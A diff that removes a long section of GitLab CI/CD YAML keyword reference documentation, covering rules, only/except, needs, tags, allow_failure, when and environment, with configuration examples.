-Use `rules` to include or exclude jobs in pipelines.
-
-Rules are evaluated *in order* until the first match. When a match is found, the job
-is either included or excluded from the pipeline, depending on the configuration.
-
-`rules` replaces [`only/except`](#only--except) and they can't be used together
-in the same job. If you configure one job to use both keywords, the GitLab returns
-a `key may not be used with rules` error.
-
-`rules` accepts an array of rules defined with:
-
-- `if`
-- `changes`
-- `exists`
-- `allow_failure`
-- `variables`
-- `when`
-
-You can combine multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules).
-
-The job is added to the pipeline:
-
-- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default),
- `when: delayed`, or `when: always`.
-- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`.
-
-The job is not added to the pipeline:
-
-- If no rules match.
-- If a rule matches and has `when: never`.
-
-#### `rules:if`
-
-Use `rules:if` clauses to specify when to add a job to a pipeline:
-
-- If an `if` statement is true, add the job to the pipeline.
-- If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline.
-- If no `if` statements are true, do not add the job to the pipeline.
-
-`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md)
-or [custom CI/CD variables](../variables/README.md#custom-cicd-variables).
-
-**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job
-to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior.
-
-**Possible inputs**: A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions).
-
-**Example of `rules:if`**:
-
-```yaml
-job:
- script: echo "Hello, Rules!"
- rules:
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH'
- when: never
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/'
- when: manual
- allow_failure: true
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME'
-```
-
-**Additional details**:
-
-- If a rule matches and has no `when` defined, the rule uses the `when`
- defined for the job, which defaults to `on_success` if not defined.
-- You can define `when` once per rule, or once at the job-level, which applies to
- all rules. You can't mix `when` at the job-level with `when` in rules.
-- Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts)
- sections, variables in rules expressions are always formatted as `$VARIABLE`.
-
-**Related topics**:
-
-- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules).
-- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines).
-
-#### `rules:changes`
-
-Use `rules:changes` to specify when to add a job to a pipeline by checking for changes
-to specific files.
-
-WARNING:
-You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**.
-You can use `rules: changes` with other pipeline types, but `rules: changes` always
-evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines,
-and so on do **not** have a Git `push` event associated with them. A `rules: changes` job
-is **always** added to those pipelines if there is no `if:` that limits the job to
-branch or merge request pipelines.
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**: An array of file paths. In GitLab 13.6 and later,
-[file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges).
-
-**Example of `rules:changes`**:
-
-```yaml
-docker build:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- rules:
- - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
- changes:
- - Dockerfile
- when: manual
- allow_failure: true
-```
-
-- If the pipeline is a merge request pipeline, check `Dockerfile` for changes.
-- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline
- continues running even if the job is not triggered (`allow_failure: true`).
-- If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`).
-
-**Additional details**:
-
-- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges).
-- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges).
-
-#### `rules:exists`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4.
-
-Use `exists` to run a job when certain files exist in the repository.
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**: An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`)
-and can't directly link outside it. File paths can use glob patterns.
-
-**Example of `rules:exists`**:
-
-```yaml
-job:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- rules:
- - exists:
- - Dockerfile
-```
-
-`job` runs if a `Dockerfile` exists anywhere in the repository.
-
-**Additional details**:
-
-- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch)
- with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`.
-- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or
- file paths. After the 10,000th check, rules with patterned globs always match.
- In other words, the `exists` rule always assumes a match in projects with more
- than 10,000 files.
-
-#### `rules:allow_failure`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8.
-
-Use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail
-without stopping the pipeline.
-
-You can also use `allow_failure: true` with a manual job. The pipeline continues
-running without waiting for the result of the manual job. `allow_failure: false`
-combined with `when: manual` in rules causes the pipeline to wait for the manual
-job to run before continuing.
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**: `true` or `false`. Defaults to `false` if not defined.
-
-**Example of `rules:allow_failure`**:
-
-```yaml
-job:
- script: echo "Hello, Rules!"
- rules:
- - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH'
- when: manual
- allow_failure: true
-```
-
-If the rule matches, then the job is a manual job with `allow_failure: true`.
-
-**Additional details**:
-
-- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure),
- and only applies when the specific rule triggers the job.
-
-#### `rules:variables`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/289803) in GitLab 13.10.
-
-Use [`variables`](#variables) in `rules:` to define variables for specific conditions.
-
-**Keyword type**: Job-specific. You can use it only as part of a job.
-
-**Possible inputs**: A hash of variables in the format `VARIABLE-NAME: value`.
-
-**Example of `rules:variables`**:
-
-```yaml
-job:
- variables:
- DEPLOY_VARIABLE: "default-deploy"
- rules:
- - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
- variables: # Override DEPLOY_VARIABLE defined
- DEPLOY_VARIABLE: "deploy-production" # at the job level.
- - if: $CI_COMMIT_REF_NAME =~ /feature/
- variables:
- IS_A_FEATURE: "true" # Define a new variable.
- script:
- - echo "Run script with $DEPLOY_VARIABLE as an argument"
- - echo "Run another script if $IS_A_FEATURE exists"
-```
-
-### `only` / `except`
-
-NOTE:
-`only` and `except` are not being actively developed. [`rules`](#rules) is the preferred
-keyword to control when to add jobs to pipelines.
-
-You can use `only` and `except` to control when to add jobs to pipelines.
-
-- Use `only` to define when a job runs.
-- Use `except` to define when a job **does not** run.
-
-Four keywords can be used with `only` and `except`:
-
-- [`refs`](#onlyrefs--exceptrefs)
-- [`variables`](#onlyvariables--exceptvariables)
-- [`changes`](#onlychanges--exceptchanges)
-- [`kubernetes`](#onlykubernetes--exceptkubernetes)
-
-See [specify when jobs run with `only` and `except`](../jobs/job_control.md#specify-when-jobs-run-with-only-and-except)
-for more details and examples.
-
-#### `only:refs` / `except:refs`
-
-Use the `only:refs` and `except:refs` keywords to control when to add jobs to a
-pipeline based on branch names or pipeline types.
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**: An array including any number of:
-
-- Branch names, for example `main` or `my-feature-branch`.
-- [Regular expressions](../jobs/job_control.md#only--except-regex-syntax)
- that match against branch names, for example `/^feature-.*/`.
-- The following keywords:
-
- | **Value** | **Description** |
- | -------------------------|-----------------|
- | `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). |
- | `branches` | When the Git reference for a pipeline is a branch. |
- | `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. |
- | `external` | When you use CI services other than GitLab. |
- | `external_pull_requests` | When an external pull request on GitHub is created or updated (See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests)). |
- | `merge_requests` | For pipelines created when a merge request is created or updated. Enables [merge request pipelines](../merge_request_pipelines/index.md), [merged results pipelines](../merge_request_pipelines/pipelines_for_merged_results/index.md), and [merge trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md). |
- | `pipelines` | For [multi-project pipelines](../multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../multi_project_pipelines.md#triggering-multi-project-pipelines-through-api), or the [`trigger`](#trigger) keyword. |
- | `pushes` | For pipelines triggered by a `git push` event, including for branches and tags. |
- | `schedules` | For [scheduled pipelines](../pipelines/schedules.md). |
- | `tags` | When the Git reference for a pipeline is a tag. |
- | `triggers` | For pipelines created by using a [trigger token](../triggers/README.md#trigger-token). |
- | `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
-
-**Example of `only:refs` and `except:refs`**:
-
-```yaml
-job1:
- script: echo
- only:
- - main
- - /^issue-.*$/
- - merge_requests
-
-job2:
- script: echo
- except:
- - main
- - /^stable-branch.*$/
- - schedules
-```
-
-**Additional details:**
-
-- Scheduled pipelines run on specific branches, so jobs configured with `only: branches`
- run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches`
- from running on scheduled pipelines.
-- `only` or `except` used without any other keywords are equivalent to `only: refs`
- or `except: refs`. For example, the following two jobs configurations have the same
- behavior:
-
- ```yaml
- job1:
- script: echo
- only:
- - branches
-
- job2:
- script: echo
- only:
- refs:
- - branches
- ```
-
-- If a job does not use `only`, `except`, or [`rules`](#rules), then `only` is set to `branches`
- and `tags` by default.
-
- For example, `job1` and `job2` are equivalent:
-
- ```yaml
- job1:
- script: echo 'test'
-
- job2:
- script: echo 'test'
- only:
- - branches
- - tags
- ```
-
-#### `only:variables` / `except:variables`
-
-Use the `only:variables` or `except:variables` keywords to control when to add jobs
-to a pipeline, based on the status of [CI/CD variables](../variables/README.md).
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**: An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions).
-
-**Example of `only:variables`**:
-
-```yaml
-deploy:
- script: cap staging deploy
- only:
- variables:
- - $RELEASE == "staging"
- - $STAGING
-```
-
-**Related topics**:
-
-- [`only:variables` and `except:variables` examples](../jobs/job_control.md#only-variables--except-variables-examples).
-
-#### `only:changes` / `except:changes`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19232) in GitLab 11.4.
-
-Use the `changes` keyword with `only` to run a job, or with `except` to skip a job,
-when a Git push event modifies a file.
-
-Use `changes` in pipelines with the following refs:
-
-- `branches`
-- `external_pull_requests`
-- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests))
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**: An array including any number of:
-
-- Paths to files.
-- Wildcard paths for single directories, for example `path/to/directory/*`, or a directory
- and all its subdirectories, for example `path/to/directory/**/*`.
-- Wildcard ([glob](https://en.wikipedia.org/wiki/Glob_(programming))) paths for all
- files with the same extension or multiple extensions, for example `*.md` or `path/to/directory/*.{rb,py,sh}`.
-- Wildcard paths to files in the root directory, or all directories, wrapped in double quotes.
- For example `"*.json"` or `"**/*.json"`.
-
-**Example of `only:changes`**:
-
-```yaml
-docker build:
- script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
- only:
- refs:
- - branches
- changes:
- - Dockerfile
- - docker/scripts/*
- - dockerfiles/**/*
- - more_scripts/*.{rb,py,sh}
-```
-
-**Additional details**:
-
-- If you use refs other than `branches`, `external_pull_requests`, or `merge_requests`,
- `changes` can't determine if a given file is new or old and always returns `true`.
-- If you use `only: changes` with other refs, jobs ignore the changes and always run.
-- If you use `except: changes` with other refs, jobs ignore the changes and never run.
-
-**Related topics**:
-
-- [`only: changes` and `except: changes` examples](../jobs/job_control.md#onlychanges--exceptchanges-examples).
-- If you use `changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds),
- you should [also use `only:merge_requests`](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests).
-- Use `changes` with [new branches or tags *without* pipelines for merge requests](../jobs/job_control.md#use-onlychanges-without-pipelines-for-merge-requests).
-- Use `changes` with [scheduled pipelines](../jobs/job_control.md#use-onlychanges-with-scheduled-pipelines).
-
-#### `only:kubernetes` / `except:kubernetes`
-
-Use `only:kubernetes` or `except:kubernetes` to control if jobs are added to the pipeline
-when the Kubernetes service is active in the project.
-
-**Keyword type**: Job-specific. You can use it only as part of a job.
-
-**Possible inputs**: The `kubernetes` strategy accepts only the `active` keyword.
-
-**Example of `only:kubernetes`**:
-
-```yaml
-deploy:
- only:
- kubernetes: active
-```
-
-In this example, the `deploy` job runs only when the Kubernetes service is active
-in the project.
-
-### `needs`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063) in GitLab 12.2.
-> - In GitLab 12.3, maximum number of jobs in `needs` array raised from five to 50.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30631) in GitLab 12.8, `needs: []` lets jobs start immediately.
-
-Use `needs:` to execute jobs out-of-order. Relationships between jobs
-that use `needs` can be visualized as a [directed acyclic graph](../directed_acyclic_graph/index.md).
-
-You can ignore stage ordering and run some jobs without waiting for others to complete.
-Jobs in multiple stages can run concurrently.
-
-The following example creates four paths of execution:
-
-- Linter: the `lint` job runs immediately without waiting for the `build` stage
- to complete because it has no needs (`needs: []`).
-- Linux path: the `linux:rspec` and `linux:rubocop` jobs runs as soon as the `linux:build`
- job finishes without waiting for `mac:build` to finish.
-- macOS path: the `mac:rspec` and `mac:rubocop` jobs runs as soon as the `mac:build`
- job finishes, without waiting for `linux:build` to finish.
-- The `production` job runs as soon as all previous jobs finish; in this case:
- `linux:build`, `linux:rspec`, `linux:rubocop`, `mac:build`, `mac:rspec`, `mac:rubocop`.
-
-```yaml
-linux:build:
- stage: build
-
-mac:build:
- stage: build
-
-lint:
- stage: test
- needs: []
-
-linux:rspec:
- stage: test
- needs: ["linux:build"]
-
-linux:rubocop:
- stage: test
- needs: ["linux:build"]
-
-mac:rspec:
- stage: test
- needs: ["mac:build"]
-
-mac:rubocop:
- stage: test
- needs: ["mac:build"]
-
-production:
- stage: deploy
-```
-
-#### Requirements and limitations
-
-- In GitLab 13.9 and older, if `needs:` refers to a job that might not be added to
- a pipeline because of `only`, `except`, or `rules`, the pipeline might fail to create.
-- The maximum number of jobs that a single job can need in the `needs:` array is limited:
- - For GitLab.com, the limit is 50. For more information, see our
- [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541).
- - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit).
-- If `needs:` refers to a job that uses the [`parallel`](#parallel) keyword,
- it depends on all jobs created in parallel, not just one job. It also downloads
- artifacts from all the parallel jobs by default. If the artifacts have the same
- name, they overwrite each other and only the last one downloaded is saved.
-- `needs:` is similar to `dependencies:` in that it must use jobs from prior stages,
- meaning it's impossible to create circular dependencies. Depending on jobs in the
- current stage is not possible either, but support [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/30632).
-- Stages must be explicitly defined for all jobs
- that have the keyword `needs:` or are referred to by one.
-
-##### Changing the `needs:` job limit **(FREE SELF)**
-
-The maximum number of jobs that can be defined in `needs:` defaults to 50.
-
-A GitLab administrator with [access to the GitLab Rails console](../../administration/feature_flags.md)
-can choose a custom limit. For example, to set the limit to 100:
-
-```ruby
-Plan.default.actual_limits.update!(ci_needs_size_limit: 100)
-```
-
-To disable directed acyclic graphs (DAG), set the limit to `0`.
-
-#### Artifact downloads with `needs`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.6.
-
-When a job uses `needs`, it no longer downloads all artifacts from previous stages
-by default, because jobs with `needs` can start before earlier stages complete. With
-`needs` you can only download artifacts from the jobs listed in the `needs:` configuration.
-
-Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are
-downloaded in jobs that use `needs`.
-
-In the following example, the `rspec` job downloads the `build_job` artifacts, but the
-`rubocop` job does not:
-
-```yaml
-build_job:
- stage: build
- artifacts:
- paths:
- - binaries/
-
-rspec:
- stage: test
- needs:
- - job: build_job
- artifacts: true
-
-rubocop:
- stage: test
- needs:
- - job: build_job
- artifacts: false
-```
-
-In the following example, the `rspec` job downloads the artifacts from all three `build_jobs`.
-`artifacts` is:
-
-- Set to true for `build_job_1`.
-- Defaults to true for both `build_job_2` and `build_job_3`.
-
-```yaml
-rspec:
- needs:
- - job: build_job_1
- artifacts: true
- - job: build_job_2
- - build_job_3
-```
-
-In GitLab 12.6 and later, you can't combine the [`dependencies`](#dependencies) keyword
-with `needs`.
-
-#### Cross project artifact downloads with `needs` **(PREMIUM)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.7.
-
-Use `needs` to download artifacts from up to five jobs in pipelines:
-
-- [On other refs in the same project](#artifact-downloads-between-pipelines-in-the-same-project).
-- In different projects, groups and namespaces.
-
-```yaml
-build_job:
- stage: build
- script:
- - ls -lhR
- needs:
- - project: namespace/group/project-name
- job: build-1
- ref: main
- artifacts: true
-```
-
-`build_job` downloads the artifacts from the latest successful `build-1` job
-on the `main` branch in the `group/project-name` project. If the project is in the
-same group or namespace, you can omit them from the `project:` keyword. For example,
-`project: group/project-name` or `project: project-name`.
-
-The user running the pipeline must have at least `reporter` access to the group or project, or the group/project must have public visibility.
-
-##### Artifact downloads between pipelines in the same project
-
-Use `needs` to download artifacts from different pipelines in the current project.
-Set the `project` keyword as the current project's name, and specify a ref.
-
-In the following example, `build_job` downloads the artifacts for the latest successful
-`build-1` job with the `other-ref` ref:
-
-```yaml
-build_job:
- stage: build
- script:
- - ls -lhR
- needs:
- - project: group/same-project-name
- job: build-1
- ref: other-ref
- artifacts: true
-```
-
-CI/CD variable support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093)
-in GitLab 13.3. [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4.
-
-For example:
-
-```yaml
-build_job:
- stage: build
- script:
- - ls -lhR
- needs:
- - project: $CI_PROJECT_PATH
- job: $DEPENDENCY_JOB_NAME
- ref: $ARTIFACTS_DOWNLOAD_REF
- artifacts: true
-```
-
-You can't download artifacts from jobs that run in [`parallel:`](#parallel).
-
-To download artifacts between [parent-child pipelines](../parent_child_pipelines.md),
-use [`needs:pipeline`](#artifact-downloads-to-child-pipelines).
-
-You should not download artifacts from the same ref as a running pipeline. Concurrent
-pipelines running on the same ref could override the artifacts.
-
-##### Artifact downloads to child pipelines
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/255983) in GitLab v13.7.
-
-A [child pipeline](../parent_child_pipelines.md) can download artifacts from a job in
-its parent pipeline or another child pipeline in the same parent-child pipeline hierarchy.
-
-For example, with the following parent pipeline that has a job that creates some artifacts:
-
-```yaml
-create-artifact:
- stage: build
- script: echo 'sample artifact' > artifact.txt
- artifacts:
- paths: [artifact.txt]
-
-child-pipeline:
- stage: test
- trigger:
- include: child.yml
- strategy: depend
- variables:
- PARENT_PIPELINE_ID: $CI_PIPELINE_ID
-```
-
-A job in the child pipeline can download artifacts from the `create-artifact` job in
-the parent pipeline:
-
-```yaml
-use-artifact:
- script: cat artifact.txt
- needs:
- - pipeline: $PARENT_PIPELINE_ID
- job: create-artifact
-```
-
-The `pipeline` attribute accepts a pipeline ID and it must be a pipeline present
-in the same parent-child pipeline hierarchy of the given pipeline.
-
-The `pipeline` attribute does not accept the current pipeline ID (`$CI_PIPELINE_ID`).
-To download artifacts from a job in the current pipeline, use the basic form of [`needs`](#artifact-downloads-with-needs).
-
-#### Optional `needs`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0.
-
-To need a job that sometimes does not exist in the pipeline, add `optional: true`
-to the `needs` configuration. If not defined, `optional: false` is the default.
-
-Jobs that use [`rules`](#rules), [`only`, or `except`](#only--except), might
-not always exist in a pipeline. When the pipeline starts, it checks the `needs`
-relationships before running. Without `optional: true`, needs relationships that
-point to a job that does not exist stops the pipeline from starting and causes a pipeline
-error similar to:
-
-- `'job1' job needs 'job2' job, but it was not added to the pipeline`
-
-In this example:
-
-- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec`
- job waits for it to complete before starting.
-- When the branch is not the default branch, the `build` job does not exist in the pipeline.
- The `rspec` job runs immediately (similar to `needs: []`) because its `needs`
- relationship to the `build` job is optional.
-
-```yaml
-build:
- stage: build
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
-
-rspec:
- stage: test
- needs:
- - job: build
- optional: true
-```
-
-### `tags`
-
-Use `tags` to select a specific runner from the list of all runners that are
-available for the project.
-
-When you register a runner, you can specify the runner's tags, for
-example `ruby`, `postgres`, `development`.
-
-In the following example, the job is run by a runner that
-has both `ruby` and `postgres` tags defined.
-
-```yaml
-job:
- tags:
- - ruby
- - postgres
-```
-
-You can use tags to run different jobs on different platforms. For
-example, if you have an OS X runner with tag `osx` and a Windows runner with tag
-`windows`, you can run a job on each platform:
-
-```yaml
-windows job:
- stage:
- - build
- tags:
- - windows
- script:
- - echo Hello, %USERNAME%!
-
-osx job:
- stage:
- - build
- tags:
- - osx
- script:
- - echo "Hello, $USER!"
-```
-
-### `allow_failure`
-
-Use `allow_failure` when you want to let a job fail without impacting the rest of the CI
-suite. The default value is `false`, except for [manual](#whenmanual) jobs that use
-the `when: manual` syntax.
-
-In jobs that use [`rules:`](#rules), all jobs default to `allow_failure: false`,
-*including* `when: manual` jobs.
-
-When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI.
-However, the logical flow of the pipeline considers the job a
-success/passed, and is not blocked.
-
-Assuming all other jobs are successful, the job's stage and its pipeline
-show the same orange warning. However, the associated commit is marked as
-"passed", without warnings.
-
-In the following example, `job1` and `job2` run in parallel. If `job1`
-fails, it doesn't stop the next stage from running, because it's marked with
-`allow_failure: true`:
-
-```yaml
-job1:
- stage: test
- script:
- - execute_script_that_will_fail
- allow_failure: true
-
-job2:
- stage: test
- script:
- - execute_script_that_will_succeed
-
-job3:
- stage: deploy
- script:
- - deploy_to_staging
-```
-
-#### `allow_failure:exit_codes`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273157) in GitLab 13.8.
-> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292024) in GitLab 13.9.
-
-Use `allow_failure:exit_codes` to dynamically control if a job should be allowed
-to fail. You can list which exit codes are not considered failures. The job fails
-for any other exit code:
-
-```yaml
-test_job_1:
- script:
- - echo "Run a script that results in exit code 1. This job fails."
- - exit 1
- allow_failure:
- exit_codes: 137
-
-test_job_2:
- script:
- - echo "Run a script that results in exit code 137. This job is allowed to fail."
- - exit 137
- allow_failure:
- exit_codes:
- - 137
- - 255
-```
-
-### `when`
-
-Use `when` to implement jobs that run in case of failure or despite the
-failure.
-
-The valid values of `when` are:
-
-1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed,
- or are considered successful because they have `allow_failure: true`.
-1. `on_failure` - Execute job only when at least one job in an earlier stage fails.
-1. `always` - Execute job regardless of the status of jobs in earlier stages.
-1. `manual` - Execute job [manually](#whenmanual).
-1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration.
- Added in GitLab 11.14.
-1. `never`:
- - With job [`rules`](#rules), don't execute job.
- - With [`workflow:rules`](#workflow), don't run pipeline.
-
-In the following example, the script:
-
-1. Executes `cleanup_build_job` only when `build_job` fails.
-1. Always executes `cleanup_job` as the last step in pipeline regardless of
- success or failure.
-1. Executes `deploy_job` when you run it manually in the GitLab UI.
-
-```yaml
-stages:
- - build
- - cleanup_build
- - test
- - deploy
- - cleanup
-
-build_job:
- stage: build
- script:
- - make build
-
-cleanup_build_job:
- stage: cleanup_build
- script:
- - cleanup build when failed
- when: on_failure
-
-test_job:
- stage: test
- script:
- - make test
-
-deploy_job:
- stage: deploy
- script:
- - make deploy
- when: manual
-
-cleanup_job:
- stage: cleanup
- script:
- - cleanup after jobs
- when: always
-```
-
-#### `when:manual`
-
-A manual job is a type of job that is not executed automatically and must be explicitly
-started by a user. You might want to use manual jobs for things like deploying to production.
-
-To make a job manual, add `when: manual` to its configuration.
-
-When the pipeline starts, manual jobs display as skipped and do not run automatically.
-They can be started from the pipeline, job, [environment](../environments/index.md#configure-manual-deployments),
-and deployment views.
-
-Manual jobs can be either optional or blocking:
-
-- **Optional**: Manual jobs have [`allow_failure: true](#allow_failure) set by default
- and are considered optional. The status of an optional manual job does not contribute
- to the overall pipeline status. A pipeline can succeed even if all its manual jobs fail.
-
-- **Blocking**: To make a blocking manual job, add `allow_failure: false` to its configuration.
- Blocking manual jobs stop further execution of the pipeline at the stage where the
- job is defined. To let the pipeline continue running, click **{play}** (play) on
- the blocking manual job.
-
- Merge requests in projects with [merge when pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md)
- enabled can't be merged with a blocked pipeline. Blocked pipelines show a status
- of **blocked**.
-
-When you use [`rules:`](#rules), `allow_failure` defaults to `false`, including for manual jobs.
-
-To trigger a manual job, a user must have permission to merge to the assigned branch.
-You can use [protected branches](../../user/project/protected_branches.md) to more strictly
-[protect manual deployments](#protecting-manual-jobs) from being run by unauthorized users.
-
-In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201938) and later, you
-can use `when:manual` in the same job as [`trigger`](#trigger). In GitLab 13.4 and
-earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
-
-##### Protecting manual jobs **(PREMIUM)**
-
-Use [protected environments](../environments/protected_environments.md)
-to define a list of users authorized to run a manual job. You can authorize only
-the users associated with a protected environment to trigger manual jobs, which can:
-
-- More precisely limit who can deploy to an environment.
-- Block a pipeline until an approved user "approves" it.
-
-To protect a manual job:
-
-1. Add an `environment` to the job. For example:
-
- ```yaml
- deploy_prod:
- stage: deploy
- script:
- - echo "Deploy to production server"
- environment:
- name: production
- url: https://example.com
- when: manual
- rules:
- - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
- ```
-
-1. In the [protected environments settings](../environments/protected_environments.md#protecting-environments),
- select the environment (`production` in this example) and add the users, roles or groups
- that are authorized to trigger the manual job to the **Allowed to Deploy** list. Only those in
- this list can trigger this manual job, as well as GitLab administrators
- who are always able to use protected environments.
-
-You can use protected environments with blocking manual jobs to have a list of users
-allowed to approve later pipeline stages. Add `allow_failure: false` to the protected
-manual job and the pipeline's next stages only run after the manual job is triggered
-by authorized users.
-
-#### `when:delayed`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51352) in GitLab 11.4.
-
-Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid
-jobs immediately entering the `pending` state.
-
-You can set the period with `start_in` keyword. The value of `start_in` is an elapsed time in seconds, unless a unit is
-provided. `start_in` must be less than or equal to one week. Examples of valid values include:
-
-- `'5'`
-- `5 seconds`
-- `30 minutes`
-- `1 day`
-- `1 week`
-
-When a stage includes a delayed job, the pipeline doesn't progress until the delayed job finishes.
-You can use this keyword to insert delays between different stages.
-
-The timer of a delayed job starts immediately after the previous stage completes.
-Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passes.
-
-The following example creates a job named `timed rollout 10%` that is executed 30 minutes after the previous stage completes:
-
-```yaml
-timed rollout 10%:
- stage: deploy
- script: echo 'Rolling out 10% ...'
- when: delayed
- start_in: 30 minutes
-```
-
-To stop the active timer of a delayed job, click the **{time-out}** (**Unschedule**) button.
-This job can no longer be scheduled to run automatically. You can, however, execute the job manually.
-
-To start a delayed job immediately, click the **Play** button.
-Soon GitLab Runner picks up and starts the job.
-
-### `environment`
-
-Use `environment` to define the [environment](../environments/index.md) that a job deploys to.
-For example:
-
-```yaml
-deploy to production:
- stage: deploy
- script: git push production HEAD:main
- environment: production
-```
-
-You can assign a value to the `environment` keyword by using:
-
-- Plain text, like `production`.
-- Variables, including CI/CD variables, predefined, secure, or variables
- defined in the `.gitlab-ci.yml` file.
-
-You can't use variables defined in a `script` section.
-
-If you specify an `environment` and no environment with that name exists,
-an environment is created.
-
-#### `environment:name`
-
-Set a name for an [environment](../environments/index.md). For example:
-
-```yaml
-deploy to production:
- stage: deploy
- script: git push production HEAD:main
- environment:
- name: production
-```
-
-Common environment names are `qa`, `staging`, and `production`, but you can use any
-name you want.
-
-You can assign a value to the `name` keyword by using:
-
-- Plain text, like `staging`.
-- Variables, including CI/CD variables, predefined, secure, or variables
- defined in the `.gitlab-ci.yml` file.
-
-You can't use variables defined in a `script` section.
-
-The environment `name` can contain:
-
-- Letters
-- Digits
-- Spaces
-- `-`
-- `_`
-- `/`
-- `$`
-- `{`
-- `}`
-
-#### `environment:url`
-
-Set a URL for an [environment](../environments/index.md). For example:
-
-```yaml
-deploy to production:
- stage: deploy
- script: git push production HEAD:main
- environment:
- name: production
- url: https://prod.example.com
-```
-
